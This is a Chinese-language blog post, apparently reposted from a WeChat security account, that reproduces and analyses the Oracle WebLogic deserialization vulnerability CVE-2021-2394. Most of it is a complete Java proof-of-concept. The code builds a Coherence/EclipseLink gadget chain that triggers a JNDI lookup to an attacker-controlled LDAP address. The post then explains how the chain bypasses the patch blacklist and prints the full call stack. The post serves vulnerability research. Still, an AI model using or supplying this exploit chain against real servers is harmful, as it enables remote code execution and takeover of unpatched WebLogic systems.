Weblogic CVE-2021-2394漏洞复现分析原创

admin 2024年4月2日10:13:42评论9 views字数 5493阅读18分18秒阅读模式
01 影响范围

Oracle WebLogic Server :12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

02 漏洞复现

POC:

package cve2021.cve_2021_2394;

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.internal.descriptors.VirtualAttributeAccessor;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.concurrent.ConcurrentSkipListMap;

public class CVE_2021_2394 {

   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
       Field field = getField(obj.getClass(), fieldName);
       field.set(obj, value);
   }

   public static Field getField(Class<?> clazz, String fieldName) {
       Field field = null;

       try {
           field = clazz.getDeclaredField(fieldName);
           field.setAccessible(true);
       } catch (NoSuchFieldException var4) {
           if (clazz.getSuperclass() != null) {
               field = getField(clazz.getSuperclass(), fieldName);
           }
       }
       return field;
   }

   public static void main(String[] args) throws Exception {

       JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
       jdbcRowSet.setDataSourceName("ldap://xxx.xxx.xxx.xxx");

       MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
       methodAttributeAccessor.setIsWriteOnly(true);
       methodAttributeAccessor.setAttributeName("123");
       methodAttributeAccessor.setGetMethodName("prepare");
       methodAttributeAccessor.setSetMethodName("setProperties");


       FilterExtractor filterExtractor = new FilterExtractor();
       filterExtractor.setAccessor(methodAttributeAccessor);

       TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(filterExtractor,10);

       AttrCompare attrCompare = new AttrCompare();
       ConcurrentSkipListMap concurrentSkipListMap = new ConcurrentSkipListMap(attrCompare);
       concurrentSkipListMap.put(jdbcRowSet,"123");

       setFieldValue(partialResult,"m_map",concurrentSkipListMap);

       AttributeHolder attributeHolder = new AttributeHolder();
       setFieldValue(attributeHolder,"m_sName","111");
       setFieldValue(attributeHolder,"m_oValue",partialResult);

       ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("oracle/1.ser"));
       oos.writeObject(attributeHolder);
       oos.close();


       ObjectInputStream ois = new ObjectInputStream(new FileInputStream("oracle/1.ser"));
       ois.readObject();


   }
}
本地序列化与反序列化,dnslog收到请求

Weblogic CVE-2021-2394漏洞复现分析原创

03 利用链分析

利用链:

AttributeHolder.readExternal()
   ExternalizableHelper.readObject()
   ExternalizableHelper.readObjectInternal()
   ExternalizableHelper.readExternalizableLite()
       TopNAggregator$PartialResult.readExternal()
           SortedBag.add()
               TreeMap.put()
               TreeMap.compare()
                   SortedBag$WrapperComparator.compare()
                       AbstractExtractor.compare()
                       FilterExtractor.compare()
                       FilterExtractor.extract()
                           MethodAttributeAccessor.getAttributeValueFromObject()
                               Method.invoke()
                                   JdbcRowSetImpl.connect()

sink:

org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor#getAttributeValueFromObject方法中存在反射调用,最好情况下getMethod、anObject、parameters均可控就可以造成调用任意对象的任意方法

Weblogic CVE-2021-2394漏洞复现分析原创

如果打了补丁的情况下,MethodAttributeAccessor已经被拉入黑名单,但是如果在其他类的反序列化过程中存在MethodAttributeAccessor的创建并调用的话则还是可以绕过的

然后发现oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor中符合,会创建MethodAttributeAccessor对象并返回

Weblogic CVE-2021-2394漏洞复现分析原创

接着找利用链,oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor#extract中存在attributeAccessor.getAttributeValueFromObject调用

Weblogic CVE-2021-2394漏洞复现分析原创

并且他的attributeAccessor的值正是绕过黑名单调用的方法,可以创建MethodAttributeAccessor对象

Weblogic CVE-2021-2394漏洞复现分析原创

其他的都是按照调用方法直接找调用关系即可,注意子父类之间的调用关系。

source:

由于TopNAggregator$PartialResult只实现了ExternalizableLite,因此还是需要实现了Externalizable的AttributeHolder去封装PartialResult从而正常地触发反序列化

Weblogic CVE-2021-2394漏洞复现分析原创

Weblogic CVE-2021-2394漏洞复现分析原创

04 调用栈
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
prepare:654, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
getAttributeValueFromObject:82, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
getAttributeValueFromObject:61, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
extract:61, FilterExtractor (oracle.eclipselink.coherence.integrated.internal.querying)
compare:143, AbstractExtractor (com.tangosol.util.extractor)
compare:416, SortedBag$WrapperComparator (com.tangosol.util)
compare:1291, TreeMap (java.util)
put:538, TreeMap (java.util)
add:152, SortedBag (com.tangosol.util)
add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)
readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)
readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)
readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)
readObject:2606, ExternalizableHelper (com.tangosol.util)
readObject:2583, ExternalizableHelper (com.tangosol.util)
readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)
readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)
readExternalData:1842, ObjectInputStream (java.io)
readOrdinaryObject:1799, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:85, CVE_2021_2394 (cve2021.cve_2021_2394)

原文始发于微信公众号(路旅安全):Weblogic CVE-2021-2394漏洞复现分析原创

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月2日10:13:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic CVE-2021-2394漏洞复现分析原创https://cn-sec.com/archives/2621849.html

发表评论

匿名网友 填写信息